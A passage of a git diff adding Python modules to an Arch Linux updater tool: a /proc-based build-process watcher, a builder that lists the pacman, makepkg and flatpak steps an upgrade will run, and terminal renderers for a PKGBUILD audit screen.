+ @property
+ def argv0(self) -> str:
+ return os.path.basename(self.cmdline[0]) if self.cmdline else self.comm
+
+
+def read_proc(pid: int, btime: float, clk: int) -> Proc | None:
+ """Read one process. Returns None the moment it dies, which is normal."""
+ try:
+ raw = (PROC / str(pid) / "stat").read_bytes()
+ except OSError:
+ return None
+ # comm can contain spaces and parentheses, so parse from the last ')'
+ end = raw.rfind(b")")
+ if end < 0:
+ return None
+ comm = raw[raw.find(b"(") + 1 : end].decode(errors="replace")
+ fields = raw[end + 2 :].split()
+ if len(fields) < 20:
+ return None
+ try:
+ ppid = int(fields[1])
+ starttime = int(fields[19])
+ except ValueError:
+ return None
+
+ try:
+ cmdline = tuple(
+ part.decode(errors="replace")
+ for part in (PROC / str(pid) / "cmdline").read_bytes().split(b"\0")
+ if part
+ )
+ except OSError:
+ cmdline = ()
+
+ try:
+ cwd = os.readlink(PROC / str(pid) / "cwd")
+ except OSError:
+ cwd = None
+
+ return Proc(
+ pid=pid, ppid=ppid, comm=comm, cmdline=cmdline, cwd=cwd, started=btime + starttime / clk
+ )
+
+
+def snapshot() -> dict[int, Proc]:
+ """Every readable process, keyed by pid."""
+ btime, clk = boot_time(), _clk_tck()
+ out: dict[int, Proc] = {}
+ for entry in os.listdir(PROC):
+ if not entry.isdigit():
+ continue
+ proc = read_proc(int(entry), btime, clk)
+ if proc is not None:
+ out[proc.pid] = proc
+ return out
+
+
+def descendants(root_pid: int, procs: dict[int, Proc], *, include_root: bool = False) -> list[Proc]:
+ """Every process under `root_pid`, breadth-first.
+
+ The root is excluded by default because the root is the launcher we spawned
+ (paru), which does not itself build and whose working directory is wherever
+ the user happened to run us. Pass `include_root=True` when the root *is* the
+ builder, as it would be if we ever drive makepkg directly for parallel
+ builds.
+ """
+ children: dict[int, list[Proc]] = {}
+ for proc in procs.values():
+ children.setdefault(proc.ppid, []).append(proc)
+
+ out: list[Proc] = []
+ if include_root and root_pid in procs:
+ out.append(procs[root_pid])
+ queue = deque(children.get(root_pid, []))
+ while queue:
+ proc = queue.popleft()
+ out.append(proc)
+ queue.extend(children.get(proc.pid, []))
+ return out
+
+
+# Build systems, most specific first. The first match on a process's argv0 wins.
+BUILD_TOOLS: tuple[tuple[str, str], ...] = (
+ ("cc1plus", "compile"),
+ ("cc1", "compile"),
+ ("clang", "compile"),
+ ("gcc", "compile"),
+ ("g++", "compile"),
+ ("rustc", "compile"),
+ ("cargo", "cargo"),
+ ("go", "go build"),
+ ("nim", "nim"),
+ ("meson", "meson"),
+ ("ninja", "ninja"),
+ ("cmake", "cmake"),
+ ("make", "make"),
+ ("scons", "scons"),
+ ("waf", "waf"),
+ ("npm", "node"),
+ ("pnpm", "node"),
+ ("yarn", "node"),
+ ("node", "node"),
+ ("setup.py", "python"),
+ ("pip", "python"),
+ ("python", "python"),
+ ("patch", "prepare"),
+ ("git", "fetch"),
+ ("curl", "fetch"),
+ ("wget", "fetch"),
+ ("fakeroot", "package"),
+ ("makepkg", "makepkg"),
+)
+
+#: processes that only exist to drive the build; not worth reporting as a phase
+DRIVERS = {"makepkg", "fakeroot", "sudo", "paru", "systemd"}
+
+
+#: higher-level build systems first. When several are running at once the label
+#: should describe the phase, and "cargo" is more useful than "compile".
+PHASE_PRIORITY: tuple[str, ...] = (
+ "cargo",
+ "go build",
+ "meson",
+ "ninja",
+ "cmake",
+ "node",
+ "python",
+ "nim",
+ "scons",
+ "waf",
+ "make",
+ "compile",
+ "package",
+ "prepare",
+ "fetch",
+ "makepkg",
+)
+
+
+def _tool_names(proc: Proc) -> set[str]:
+ """Candidate tool names for a process.
+
+ argv0 always counts. Later arguments count only when they look like a path,
+ so a shell wrapper invoked as `/bin/bash /usr/bin/cargo` is recognised while
+ `cat make` is not mistaken for a make run.
+ """
+ names: set[str] = set()
+ for i, arg in enumerate(proc.cmdline):
+ if i == 0 or "/" in arg:
+ names.add(os.path.basename(arg))
+ return names or {proc.comm}
+
+
+def _labels(proc: Proc) -> list[str]:
+ names = _tool_names(proc)
+ return [label for tool, label in BUILD_TOOLS if tool in names]
+
+
+#: helper processes that are part of building but are not the work itself
+_NOISE = frozenset(
+ {
+ "sh",
+ "bash",
+ "dash",
+ "make",
+ "ninja",
+ "meson",
+ "cmake",
+ "python",
+ "python3",
+ "perl",
+ "sed",
+ "awk",
+ "cat",
+ "tee",
+ "env",
+ "time",
+ "xargs",
+ }
+)
+
+
+def summarise_workers(procs: list[Proc], *, limit: int = 4) -> str:
+ """What the running jobs are, counted by program.
+
+ "5 jobs" says something is happening; "rustc ×4, cc1 ×1" says what, which
+ is the only thing that distinguishes a compiling build from a hung one.
+ """
+ counts: dict[str, int] = {}
+ for proc in procs:
+ name = proc.argv0 or proc.comm
+ if not name or name in _NOISE:
+ continue
+ counts[name] = counts.get(name, 0) + 1
+ if not counts:
+ return ""
+ ordered = sorted(counts.items(), key=lambda kv: (-kv[1], kv[0]))
+ shown = [f"{name} ×{n}" if n > 1 else name for name, n in ordered[:limit]]
+ if len(ordered) > limit:
+ shown.append(f"+{len(ordered) - limit} more")
+ return ", ".join(shown)
+
+
+def classify(procs: list[Proc]) -> str:
+ """Best available label for what a package's process tree is doing.
+
+ Deterministic regardless of process ordering: the highest-priority label
+ present wins, rather than whichever process happened to be listed first.
+ """
+ found = {label for proc in procs for label in _labels(proc)}
+ for label in PHASE_PRIORITY:
+ if label in found:
+ return label
+ return ""
+
+
+def package_of(path: str | None, clone_dir: Path, known: set[str] | None = None) -> str | None:
+ """Map a cwd back to the AUR package whose clone directory contains it.
+
+ makepkg runs with cwd == <clone_dir>/<pkg>; compilers run deeper, in
+ <clone_dir>/<pkg>/src/... . Either way the first path component is the answer.
+ """
+ if not path:
+ return None
+ # /proc/<pid>/cwd is a fully resolved path, so a symlinked or relative
+ # clone directory would never match it and every lookup would return None.
+ try:
+ rel = Path(path).relative_to(Path(clone_dir).resolve())
+ except ValueError:
+ return None
+ if not rel.parts:
+ return None
+ name = rel.parts[0]
+ if name.startswith("."):
+ return None
+ if known is not None and name not in known:
+ return None
+ return name
+
+
+@dataclass
+class BuildState:
+ package: str
+ phase: str
+ elapsed: float
+ jobs: int = 0
+ #: what the jobs actually are, e.g. "rustc ×4, cc1 ×1". A bare count says
+ #: something is happening; this says what.
+ workers: str = ""
+
+ @property
+ def clock(self) -> str:
+ return format_duration(self.elapsed)
+
+
+def format_duration(seconds: float) -> str:
+ total = int(seconds)
+ if total < 60:
+ return f"{total}s"
+ if total < 3600:
+ return f"{total // 60}m{total % 60:02d}s"
+ return f"{total // 3600}h{(total % 3600) // 60:02d}m"
+
+
+class Watcher:
+ """Polls the process tree under a build and reports per-package state.
+
+ Completion is derived from observation rather than artefacts: paru's
+ `CleanAfter` deletes the built package, so a package that was seen building
+ and now has no processes is finished. Artefacts are used only to corroborate.
+ """
+
+ def __init__(
+ self, clone_dir: Path, known: set[str] | None = None, *, include_root: bool = False
+ ) -> None:
+ self.clone_dir = clone_dir
+ self.known = known
+ self.include_root = include_root
+ self.seen: set[str] = set()
+ #: pending, drained by `new_finishes`
+ self.finished: list[str] = []
+ #: everything ever handed to the caller. `finished` alone cannot serve
+ #: as both the queue and the record: clearing it to report means the
+ #: next poll re-finishes the same package, which shows up as a duplicate
+ #: row in the feed.
+ self.reported: set[str] = set()
+
+ def poll(self, root_pid: int | None) -> list[BuildState]:
+ """Observe the tree. `root_pid=None` means it is gone, which drains.
+
+ This is how a package that was still building when the launcher exited
+ still reaches the feed, instead of being silently lost.
+ """
+ procs = snapshot()
+ children = (
+ descendants(root_pid, procs, include_root=self.include_root)
+ if root_pid is not None
+ else []
+ )
+
+ grouped: dict[str, list[Proc]] = {}
+ for proc in children:
+ pkg = package_of(proc.cwd, self.clone_dir, self.known)
+ if pkg:
+ grouped.setdefault(pkg, []).append(proc)
+
+ # A package we have seen building and that no longer has processes is
+ # done. `makepkg` holds the package's clone directory as its working
+ # directory for the whole build, so a package only disappears from the
+ # tree when it has genuinely finished.
+ for pkg in sorted(self.seen - set(grouped)):
+ if pkg in self.reported:
+ continue
+ self.reported.add(pkg)
+ self.finished.append(pkg)
+ self.seen |= set(grouped)
+
+ states = []
+ for pkg, group in sorted(grouped.items()):
+ # elapsed is measured from the oldest process still alive for this
+ # package, which is the honest lower bound on its build time
+ oldest = min(p.started for p in group)
+ compilers = sum(1 for p in group if classify([p]) == "compile")
+ states.append(
+ BuildState(
+ package=pkg,
+ phase=classify(group),
+ elapsed=time.time() - oldest,
+ jobs=compilers or len(group),
+ workers=summarise_workers(group),
+ )
+ )
+ return states
+
+ def new_finishes(self) -> list[str]:
+ out = self.finished
+ self.finished = []
+ return out
+
+
+# --------------------------------------------------------------------------
+# repo-phase download progress (real bytes, no guessing)
+# --------------------------------------------------------------------------
+
+
+def download_progress(cache_dir: Path = Path("/var/cache/pacman/pkg")) -> tuple[int, int]:
+ """(bytes currently staged, number of in-flight .part files).
+
+ pacman writes `*.part` while downloading and renames on completion, so the
+ sum of those sizes is a real progress figure rather than an animation.
+ """
+ total = 0
+ count = 0
+ try:
+ for entry in os.scandir(cache_dir):
+ if entry.name.endswith(".part"):
+ try:
+ total += entry.stat().st_size
+ count += 1
+ except OSError:
+ continue
+ except OSError:
+ return 0, 0
+ return total, count
diff --git a/updater/queue.py b/updater/queue.py
@@ -0,0 +1,411 @@
+"""The commands a plan step will actually run, in order.
+
+`paru -S --needed a b c` is not a command queue, it is a summary. What happens
+underneath is a sequence: sources are fetched, checksums verified, the PKGBUILD's
+own functions run, the result is packed and handed to pacman -- which downloads,
+verifies, takes a snapshot, installs, and then runs the alpm hooks that rebuild
+an initramfs or reload systemd.
+
+None of that is guesswork. The PKGBUILD is parsed statically and its function
+bodies are its commands. The hooks are files on disk with declared triggers. The
+snapshots are a hook. This module assembles them in the order they run.
+
+Nothing here executes anything.
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass, field
+from pathlib import Path
+
+from . import hooks as hooks_mod
+from .audit import PATTERNS, strip_source_prefix
+from .srcinfo import parse_pkgbuild
+
+#: how a stage is marked in the list
+LEVEL_STEP = "step"
+LEVEL_NOTE = "note"
+LEVEL_HOOK = "hook"
+LEVEL_WARN = "warn"
+LEVEL_DANGER = "danger"
+
+
+@dataclass
+class Stage:
+ command: str # the literal thing that runs
+ what: str # one line saying what it is for
+ target: str = "" # the package or packages involved
+ level: str = LEVEL_STEP
+ phase: str = "" # the group this belongs to
+ finding: str = "" # the audit rule that flagged it, if any
+
+
+@dataclass
+class Queue:
+ """A step's commands, grouped into phases."""
+
+ stages: list[Stage] = field(default_factory=list)
+
+ def add(
+ self,
+ phase: str,
+ command: str,
+ what: str,
+ *,
+ target: str = "",
+ level: str = LEVEL_STEP,
+ finding: str = "",
+ ) -> None:
+ self.stages.append(
+ Stage(
+ command=command, what=what, target=target, level=level, phase=phase, finding=finding
+ )
+ )
+
+ @property
+ def warnings(self) -> list[Stage]:
+ return [s for s in self.stages if s.level in (LEVEL_WARN, LEVEL_DANGER)]
+
+ def phases(self) -> list[str]:
+ seen: list[str] = []
+ for stage in self.stages:
+ if stage.phase not in seen:
+ seen.append(stage.phase)
+ return seen
+
+
+# --------------------------------------------------------------------------
+# pacman
+# --------------------------------------------------------------------------
+
+
+def _hook_stage(hook: hooks_mod.Hook) -> Stage:
+ level = LEVEL_NOTE if hook.is_snapshot else LEVEL_HOOK
+ return Stage(
+ command=hook.exec_ or hook.path.name,
+ what=hook.label,
+ target=", ".join(sorted({t for tr in hook.triggers for t in tr.targets}))[:60],
+ level=level,
+ phase="snapshot" if hook.is_snapshot else "hooks",
+ )
+
+
+def pacman_queue(
+ updates,
+ *,
+ repo_of=None,
+ refreshing: bool = True,
+ all_hooks: list[hooks_mod.Hook] | None = None,
+ paths_by_package: dict[str, list[str]] | None = None,
+ snapshotting: bool = True,
+) -> Queue:
+ """The transaction pacman will run for a set of repository upgrades."""
+ q = Queue()
+ if not updates:
+ return q
+
+ names = {u.name for u in updates}
+ hooks = all_hooks if all_hooks is not None else hooks_mod.load()
+ paths = paths_by_package or {}
+ before, after = hooks_mod.scheduled(hooks, names, paths)
+
+ snapshots = [h for h in before if h.is_snapshot]
+ other_before = [h for h in before if not h.is_snapshot]
+
+ if refreshing:
+ q.add("sync", "pacman -Sy", "refresh the package databases from the mirrors")
+
+ if snapshotting and snapshots:
+ for hook in snapshots:
+ q.add(
+ "snapshot",
+ hook.exec_ or hook.path.name,
+ "snapper takes a pre-transaction snapshot, so the upgrade can "
+ "be rolled back as a unit",
+ level=LEVEL_NOTE,
+ )
+
+ q.add(
+ "resolve",
+ f"resolve {len(updates)} package(s) against the new databases",
+ "pacman works out the full transaction, including anything pulled in "
+ "to satisfy dependencies",
+ )
+
+ for update in updates:
+ origin = f" from {repo_of(update.name)}" if repo_of else ""
+ q.add(
+ "download",
+ f"download {update.name}-{update.new}{origin}",
+ f"{update.name} {update.old} -> {update.new}",
+ target=update.name,
+ )
+
+ q.add(
+ "verify",
+ "verify the signatures of every downloaded package",
+ "each package is checked against the keyring before anything is "
+ "unpacked; pacman refuses the whole transaction if one fails",
+ )
+ q.add(
+ "verify",
+ "check package integrity",
+ "the file list and the compressed payload are validated",
+ )
+ q.add(
+ "verify",
+ "check for file conflicts",
+ "pacman confirms no two packages in the transaction own the same path",
+ )
+
+ for hook in other_before:
+ q.stages.append(_hook_stage(hook))
+
+ for update in updates:
+ q.add(
+ "install",
+ f"install {update.name} {update.old} -> {update.new}",
+ "unpacked over the running system; the old files are replaced",
+ target=update.name,
+ )
+
+ for hook in after:
+ q.stages.append(_hook_stage(hook))
+
+ return q
+
+
+# --------------------------------------------------------------------------
+# AUR
+# --------------------------------------------------------------------------
+
+#: shell noise that is not a command worth listing
+_NOISE = re.compile(r"^\s*(?:#|$)")
+#: `cd`, `local`, `export` and friends are bookkeeping, not actions
+_BOOKKEEPING = re.compile(
+ r"^\s*(?:cd|local|export|declare|typeset|unset|readonly|shift|set|shopt)\b"
+)
+#: Bare shell structure is not something that runs, so it is dropped outright.
+_STRUCTURE = re.compile(r"^\s*(?:fi|esac|done|then|else|elif|do|in|;;|;;&|;&|\{+|\}+|\(|\))\s*$")
+#: A line that opens or branches control flow. Kept, because the condition is
+#: what tells you whether the commands underneath will run at all, but marked as
+#: structure so the eye can skip it.
+_CONTROL = re.compile(r"^\s*(?:if|elif|while|until|for|case)\b|;;\s*$|^\s*[\w.|*$\"{}\[\]-]+\)\s")
+
+
+def _commands_in(body: str) -> list[str]:
+ """The lines of a PKGBUILD function that actually do something."""
+ out: list[str] = []
+ for raw in body.splitlines():
+ line = raw.strip()
+ if _NOISE.match(line) or _BOOKKEEPING.match(line):
+ continue
+ if _STRUCTURE.match(line):
+ continue
+ # strip a trailing comment that is not inside this line's arguments
+ hash_at = line.find(" #")
+ if hash_at > 0:
+ line = line[:hash_at].rstrip()
+ if line:
+ out.append(line)
+ return out
+
+
+def _flag(line: str) -> tuple[str, str]:
+ """(level, rule) if an audit rule flags this command.
+
+ Falls through to the next rule when there is no match. Getting that wrong
+ marked every line, which is worse than marking none: a warning that is
+ always present is a warning nobody reads.
+ """
+ worst = ""
+ for pat in PATTERNS:
+ try:
+ match = pat.regex.search(line)
+ except Exception: # noqa: BLE001, S112 - a broken rule must not stop this
+ continue
+ if match is None:
+ continue
+ if pat.guard is not None and not pat.guard(line, match):
+ continue
+ if pat.severity.name == "BLOCK":
+ return LEVEL_DANGER, pat.title
+ worst = worst or pat.title
+ return (LEVEL_WARN, worst) if worst else ("", "")
+
+
+def _source_name(entry: str) -> str:
+ """The file a source entry produces, without the `filename::` prefix."""
+ cleaned = strip_source_prefix(entry).strip()
+ if "::" in entry:
+ return entry.split("::", 1)[0]
+ return cleaned.rsplit("/", 1)[-1] or cleaned
+
+
+def aur_queue(
+ clone_dir: Path,
+ targets: list[str],
+ *,
+ meta: dict | None = None,
+ audits: dict | None = None,
+ all_hooks: list[hooks_mod.Hook] | None = None,
+ paths_by_package: dict[str, list[str]] | None = None,
+) -> Queue:
+ """The build paru will run, package by package, from the PKGBUILDs."""
+ q = Queue()
+ if not targets:
+ return q
+
+ hooks = all_hooks if all_hooks is not None else hooks_mod.load()
+ paths = paths_by_package or {}
+
+ for name in sorted(targets):
+ repo = clone_dir / name
+ pkgbuild = repo / "PKGBUILD"
+ entry = (meta or {}).get(name)
+
+ version = ""
+ if entry is not None:
+ version = f" {entry.version}"
+ q.add(
+ f"fetch:{name}",
+ f"git clone https://aur.archlinux.org/{name}.git",
+ f"the AUR repository, which is the PKGBUILD being reviewed{version}",
+ target=name,
+ )
+
+ if not pkgbuild.is_file():
+ q.add(
+ f"fetch:{name}",
+ "(no local clone)",
+ "paru has not downloaded this package, so its PKGBUILD is "
+ "not on disk and its commands cannot be listed",
+ target=name,
+ level=LEVEL_NOTE,
+ )
+ continue
+
+ text = pkgbuild.read_text(errors="replace")
+ pb = parse_pkgbuild(text)
+
+ for source in pb.get("source"):
+ q.add(
+ f"source:{name}",
+ f"fetch {_source_name(source)}",
+ f"declared in source=(): {strip_source_prefix(source)[:70]}",
+ target=name,
+ )
+
+ sums = pb.get("sha256sums") or pb.get("sha512sums") or pb.get("b2sums") or pb.get("md5sums")
+ if sums:
+ skips = [i for i, s in enumerate(sums) if s.strip().upper() == "SKIP"]
+ note = "PKGBUILD checksums are verified against the sources"
+ if skips:
+ note += f"; {len(skips)} entry(ies) are SKIP and are not verified"
+ q.add(
+ f"source:{name}",
+ "verify checksums",
+ note,
+ target=name,
+ level=LEVEL_WARN if skips else LEVEL_STEP,
+ )
+
+ report = (audits or {}).get(name)
+ # Keyed by the function a finding sits in. A file-wide rule reports
+ # `where="PKGBUILD"`, which covers every function in the file: the
+ # audit found something dangerous in this PKGBUILD, and the queue must
+ # not quietly soften it just because it does not name a function.
+ flagged: dict[str, bool] = {}
+ for finding in report.findings if report else []:
+ where = finding.where.split("[")[0].strip()
+ if where == "PKGBUILD" or not where:
+ flagged["*"] = True
+ else:
+ flagged[where.split("(")[0]] = True
+
+ for func in ("prepare", "build", "check", "package"):
+ body = pb.funcs.get(func, "")
+ if not body:
+ continue
+ q.add(f"{func}:{name}", f"{func}()", _phase_blurb(func, name), target=name)
+ for command in _commands_in(body):
+ level, rule = _flag(command)
+ if (
+ report is not None
+ and level == LEVEL_DANGER
+ and "*" not in flagged
+ and func not in flagged
+ ):
+ # The audit has read this package's previous revision and
+ # declined to call it dangerous; the per-line scan has no
+ # such context. Deferring keeps the queue and the audit
+ # screen saying the same thing -- two views that disagree
+ # about whether something is safe is worse than either.
+ level = LEVEL_WARN
+ if level == "" and _CONTROL.match(command):
+ level = LEVEL_NOTE
+ q.add(
+ f"{func}:{name}",
+ command,
+ rule or "",
+ target=name,
+ level=level or LEVEL_STEP,
+ finding=rule,
+ )
+
+ q.add(
+ f"pack:{name}",
+ f"makepkg packs {name}",
+ "the built tree is compressed into a .pkg.tar.zst",
+ target=name,
+ )
+
+ q.add(
+ "install",
+ "install the built packages",
+ "each one is handed to pacman -U, and its hooks run as root",
+ )
+
+ names = set(targets)
+ before, after = hooks_mod.scheduled(hooks, names, paths)
+ for hook in before:
+ q.stages.append(_hook_stage(hook))
+ for hook in after:
+ q.stages.append(_hook_stage(hook))
+ return q
+
+
+def _phase_blurb(func: str, name: str) -> str:
+ return {
+ "prepare": f"patches and readies the sources for {name}",
+ "build": f"compiles {name}; runs as you, in the cloned directory",
+ "check": f"runs the package's own test suite for {name}",
+ "package": f"installs the built files into the package tree for {name}",
+ }.get(func, func)
+
+
+def flatpak_queue(updates) -> Queue:
+ """Flatpak updates are opaque, and saying so is better than inventing them."""
+ q = Queue()
+ if not updates:
+ return q
+ q.add(
+ "fetch",
+ "flatpak update --noninteractive -y",
+ "flatpak resolves and applies every pending update in one pass",
+ )
+ for update in updates:
+ q.add(
+ "fetch",
+ f"update {update.application} {update.version}",
+ f"from {update.origin}",
+ target=update.application,
+ )
+ q.add(
+ "install",
+ "flatpak republishes each app from its remote",
+ "flatpak does not expose the per-application steps the way pacman "
+ "and makepkg do, so only the applications are listed here",
+ )
+ return q
diff --git a/updater/render/__init__.py b/updater/render/__init__.py
@@ -0,0 +1,40 @@
+"""Renderers.
+
+Each module turns domain objects into list[Text] on one shared column grid, with
+no terminal or process state of its own, so every screen is testable by simply
+calling it and checking the result.
+"""
+
+from .audit import build as audit_screen
+from .base import (
+ MIN_WIDTH,
+ Columns,
+ Screen,
+ human_age,
+ human_bytes,
+ truncate,
+)
+from .build import FeedEntry, Totals
+from .build import build as build_screen
+from .review import AurRow, CheckRow, RepoRow, Review, Step, VcsRow
+from .review import build as review_screen
+
+__all__ = [
+ "MIN_WIDTH",
+ "AurRow",
+ "CheckRow",
+ "Columns",
+ "FeedEntry",
+ "RepoRow",
+ "Review",
+ "Screen",
+ "Step",
+ "Totals",
+ "VcsRow",
+ "audit_screen",
+ "build_screen",
+ "human_age",
+ "human_bytes",
+ "review_screen",
+ "truncate",
+]
diff --git a/updater/render/audit.py b/updater/render/audit.py
@@ -0,0 +1,186 @@
+"""The PKGBUILD audit screen: what changed, why it matters, and the diff itself.
+
+The semantic summary comes first because a line diff answers the wrong question.
+"pkgver 1.19 -> 1.19, source +1 -1, sums +1 -1" tells you what kind of change it
+was; the rendered diff underneath tells you whether you agree with it.
+"""
+
+from __future__ import annotations
+
+import difflib
+
+from rich.text import Text
+
+from ..audit import Report, Severity
+from ..icons import Glyphs
+from ..theme import Theme
+from .base import Columns, Screen, truncate
+
+SEVERITY_ROLE = {Severity.INFO: "muted", Severity.LOOK: "warn", Severity.BLOCK: "alert"}
+
+
+def summary_parts(report: Report) -> list[tuple[str, str]]:
+ """(text, role) pairs describing the change in PKGBUILD terms."""
+ d = report.diff
+ parts: list[tuple[str, str]] = []
+
+ def field(label: str, value: str, role: str = "text") -> None:
+ parts.append((f"{label} {value}", role))
+
+ if d.pkgver:
+ field("pkgver", f"{d.pkgver[0]} → {d.pkgver[1]}", "new")
+ if d.pkgrel:
+ field("pkgrel", f"{d.pkgrel[0]} → {d.pkgrel[1]}", "new")
+ if d.epoch:
+ field("epoch", f"{d.epoch[0]} → {d.epoch[1]}", "warn")
+ if d.source:
+ field("source", d.source.summary(), "warn")
+ if d.sums:
+ field("sums", d.sums.summary(), "warn")
+ if d.depends:
+ field("depends", d.depends.summary(), "warn")
+ if d.makedepends:
+ field("makedepends", d.makedepends.summary(), "warn")
+ if d.provides:
+ field("provides", d.provides.summary(), "warn")
+ if d.validpgpkeys:
+ field("pgpkeys", d.validpgpkeys.summary(), "alert")
+ if d.funcs_added:
+ field("functions added", ", ".join(d.funcs_added), "warn")
+ if d.funcs_changed:
+ field("functions changed", ", ".join(d.funcs_changed), "text")
+ if d.lines_added or d.lines_removed:
+ field("PKGBUILD", f"+{d.lines_added} -{d.lines_removed}", "text")
+ if not parts:
+ parts.append(("no metadata changed", "muted"))
+ return parts
+
+
+def diff_lines(old: str, new: str, *, context: int = 3) -> list[tuple[str, str, str]]:
+ """(marker, line_number, text) for a unified diff of two PKGBUILD texts."""
+ out: list[tuple[str, str, str]] = []
+ old_lines = old.splitlines()
+ new_lines = new.splitlines()
+ matcher = difflib.SequenceMatcher(None, old_lines, new_lines)
+ for group in matcher.get_grouped_opcodes(context):
+ if out:
+ out.append((" ", "", ""))
+ for tag, i1, i2, j1, j2 in group:
+ if tag == "equal":
+ for offset, line in enumerate(old_lines[i1:i2]):
+ out.append((" ", str(i1 + offset + 1), line))
+ else:
+ for offset, line in enumerate(old_lines[i1:i2]):
+ out.append(("-", str(i1 + offset + 1), line))
+ for offset, line in enumerate(new_lines[j1:j2]):
+ out.append(("+", str(j1 + offset + 1), line))
+ return out
+
+
+def build(
+ report: Report,
+ *,
+ theme: Theme,
+ glyphs: Glyphs,
+ width: int = 100,
+ title: str = "",
+ old_text: str = "",
+ new_text: str = "",
+ limit: int = 40,
+ baseline: bool = True,
+ into: Screen | None = None,
+) -> list[Text]:
+ screen = into or Screen(theme=theme, glyphs=glyphs, columns=Columns.for_width(width))
+ cols = screen.columns
+
+ screen.header(title or f"{report.package} · AUR")
+ role_of = SEVERITY_ROLE
+
+ loud = len(report.loud)
+ screen.section(
+ "Findings",
+ f"{len(report.findings)} item(s)"
+ + (f" · {loud} need a look" if loud else " · nothing unusual"),
+ )
+ for finding in report.findings:
+ role = role_of[finding.severity]
+ row = screen.row()
+ row.span(f"{finding.severity.glyph:<2}", getattr(theme, role))
+ row.span(" ")
+ row.span(
+ truncate(finding.title, cols.ver - row.at - 2),
+ getattr(theme, role) if finding.severity is not Severity.INFO else theme.muted,
+ )
+ if finding.where:
+ row.right(truncate(finding.where, 20), theme.muted)
+ screen.finish(row)
+ if finding.evidence:
+ line = screen.row(indent=cols.indent + 4)
+ line.span(truncate(finding.evidence, cols.right - line.at), theme.ver)
+ screen.finish(line)
+
+ screen.section("Change", "parsed statically · PKGBUILD never sourced")
+ if not baseline:
+ # an all-additions diff would be technically true and completely useless:
+ # it would look like the whole PKGBUILD was rewritten when in fact we have
+ # simply never recorded a version to compare against
+ screen.add(
+ screen.row().span("no baseline recorded for this package yet", theme.muted).done()
+ )
+ screen.add(
+ screen.row()
+ .span("it will be recorded after the next successful build", theme.muted)
+ .done()
+ )
+ parts = summary_parts(report) if baseline else []
+ row = screen.row()
+ for text, role in parts:
+ chunk = text + " "
+ if row.at + len(chunk) > cols.right:
+ screen.finish(row)
+ row = screen.row()
+ row.span(chunk, getattr(theme, role) if hasattr(theme, role) else theme.text)
+ screen.finish(row)
+
+ if baseline and (old_text or new_text):
+ lines = diff_lines(old_text, new_text)
+ shown = lines[:limit]
+ screen.section(
+ "Diff", f"PKGBUILD · +{report.diff.lines_added} -{report.diff.lines_removed}"
+ )
+ for marker, number, body in shown:
+ role = {"+": "ok", "-": "err"}.get(marker, "muted")
+ line = screen.row()
+ line.span(marker, getattr(theme, role))
+ line.span(" ")
+ line.span(f"{number:>4}", theme.muted)
+ line.span(" ")
+ line.span(truncate(body, cols.right - line.at), getattr(theme, role))
+ screen.finish(line)
+ if len(lines) > len(shown):
+ screen.add(
+ screen.row()
+ .span(f"+ {len(lines) - len(shown)} more diff lines", theme.muted)
+ .done()
+ )
+ elif new_text:
+ # show it as a reference listing, with no +/- implying a comparison
+ body_lines = new_text.splitlines()
+ shown = body_lines[:limit]
+ screen.section("PKGBUILD", f"{len(body_lines)} lines · shown as reference")
+ for offset, body in enumerate(shown, start=1):
+ line = screen.row()
+ line.span(" ", theme.rule)
+ line.span(f"{offset:>4}", theme.muted)
+ line.span(" ")
+ line.span(truncate(body, cols.right - line.at), theme.ver)
+ screen.finish(line)
+ if len(body_lines) > len(shown):
+ screen.add(
+ screen.row()
+ .span(f"+ {len(body_lines) - len(shown)} more lines", theme.muted)
+ .done()
+ )
+
+ screen.hint("", "[o] open in delta [a] accept [s] skip [q] abort")
+ return screen.render()
diff --git a/updater/render/base.py b/updater/render/base.py
@@ -0,0 +1,198 @@
+"""Screen scaffolding shared by every renderer.
+
+Column geometry lives in exactly one place. A renderer never formats a line with
+f-strings and hopes; it advances a Row to an absolute column, and any line that
+would overflow the terminal raises instead of wrapping.
+
+Columns are derived from the width rather than hardcoded, so a narrower terminal
+degrades instead of corrupting every row to the right of the first long name.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+
+from rich.text import Text
+
+from ..icons import Glyphs
+from ..layout import Grid, Row
+from ..theme import Theme
+
+#: below this the multi-column layouts cannot be honest, and callers should fall
+#: back to a single-column form rather than truncate silently
+MIN_WIDTH = 64
+
+
+@dataclass(frozen=True)
+class Columns:
+ """Absolute column positions for a given terminal width."""
+
+ width: int = 100
+ indent: int = 2
+ right_margin: int = 2
+
+ @classmethod
+ def for_width(cls, width: int) -> Columns:
+ return cls(width=max(int(width), 20))
+
+ @property
+ def grid(self) -> int:
+ """Width used for *placing* columns, with a floor.
+
+ Inflating `width` itself was the bug: every Row then believed it had 64
+ cells to play with on a 40-column terminal, so each line ran four cells
+ past the edge and the terminal wrapped it. The floor belongs here, where
+ it only stops the column positions collapsing into each other.
+ """
+ return max(self.width, MIN_WIDTH)
+
+ @property
+ def narrow(self) -> bool:
+ return self.width < 88
+
+ @property
+ def right(self) -> int:
+ return self.width - self.right_margin
+
+ def _at(self, fraction: float) -> int:
+ span = self.grid - self.indent
+ # never place a column past the real edge
+ return min(self.indent + int(span * fraction), max(0, self.width - 2))
+
+ #: package rows: name | old -> new | note | right-aligned value
+ @property
+ def ver(self) -> int:
+ return self._at(0.55)
+
+ @property
+ def note(self) -> int:
+ return self._at(0.76)
+
+ #: feed rows (indented under a section heading)
+ @property
+ def feed_indent(self) -> int:
+ return self.indent + 4
+
+ @property
+ def feed_ver(self) -> int:
+ return self._at(0.46)
+
+ @property
+ def feed_note(self) -> int:
+ return self._at(0.74)
+
+ #: tree rows: 3 extra cells per level of nesting
+ def tree_name(self, depth: int) -> int:
+ return self.indent + 3 + 3 * depth
+
+
+@dataclass
+class Screen:
+ """An accumulating screen: theme, glyphs, and one shared column grid."""
+
+ theme: Theme
+ glyphs: Glyphs
+ columns: Columns = field(default_factory=Columns)
+ lines: list[Text] = field(default_factory=list)
+ #: how many cells the primitives had to clip. Zero means everything fitted
+ #: on its own merits; tests assert this for well-formed input.
+ clipped: int = 0
+
+ # -- structure ---------------------------------------------------------
+
+ def add(self, line: Text) -> Text:
+ self.lines.append(line)
+ return line
+
+ def blank(self) -> None:
+ self.lines.append(Text())
+
+ def rule(self) -> None:
+ self.add(self.row().fill("─", self.theme.rule).done())
+
+ def header(self, meta: str, brand: str = "updater") -> None:
+ self.add(self.row().span(brand, self.theme.accent).right(meta, self.theme.muted).done())
+ self.rule()
+
